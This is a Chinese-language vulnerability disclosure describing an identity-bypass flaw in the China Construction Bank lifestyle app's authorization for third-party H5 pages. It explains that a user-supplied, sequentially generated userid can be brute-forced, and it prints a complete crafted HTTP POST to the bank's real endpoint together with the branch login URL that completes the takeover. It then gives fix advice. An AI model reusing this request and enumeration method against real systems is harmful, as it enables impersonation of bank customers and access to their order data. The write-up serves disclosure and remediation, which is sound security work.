建行生活App内应用授权存在身份绕过漏洞
背景
建行生活由中国建设银行总行研发,可为用户提供餐饮、出行、车生活、观影、充值缴费等高频生活场景一站式服务。
建行生活App中有很多第三方H5应用,比如饿了么、哈罗单车、各省分行活动页面等。
如何向这些第三方页面传递当前登录用户的身份信息?
- 以当前登录用户身份请求建行生活服务器,获取一个加密字符串
ENCRYPTED_MSG。
- 跳转时传递这个加密字符串
ENCRYPTED_MSG。
第三方应用调用建行生活API解密传入的加密字符串,得到用户身份信息。
漏洞详情
漏洞存在于授权的第一步,向服务器请求加密字符串的过程中,用户可以自定义userid参数(需要一组真实的USERID、MOBILE),这个参数的格式为YSM+Date+自增id,因此可以生成一批ID进行碰撞。
截图中的YSM202207179882457是碰撞成功的userid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /basic_service/txCtrl?txcode=A3341SB06 HTTP/2 Host: yunbusiness.ccb.com Content-Length: 167 Pragma: no-cache Cache-Control: no-cache Clientinfo: {"appVersion":"1.1.8.001","resourseBundleVersion":"","deviceId":"","deviceModel":"","osType":"","osVersion":"","mac":"","dFingerprint":"","gpsCityCode":"510100"} Accept: application/json,text/javascript,*/* Mbskey: MgqMPLjxPywu4p55ukWynSp5%2CUSmVJK2ATvVjN2p5gOhCOmqxAz1NNurCwlxMV7rvwtdMQ4rxgtBrRUJip Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36/CloudMercWebView Skey: G26l3B X-Requested-With: com.ccb.longjiLife Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
{"PLATFORM_ID":"YS44000008000506","ENCRYPT_MSG":"userid=YSM202207179882457&mobile=1&USERID=x&MOBILE=x","chnlType":"1","regionCode":"510100"}
|

以建行四川分行的这个活动页面为例,获取到ENCRYPTED_MSG后在应用中跳转到以下链接即可成功登陆。
| https://scqy.ccb.com/hmscmob/index?ccbParamSJ=$ENCRYPTED_MSG
|

查看订单信息:

修复建议
- 授权时(
/basic_service/txCtrl?txcode=A3341SB06)校验userid
- userid有一定规律,可以生成一批数据碰撞,建议更换userid的生成方式,比如使用UUID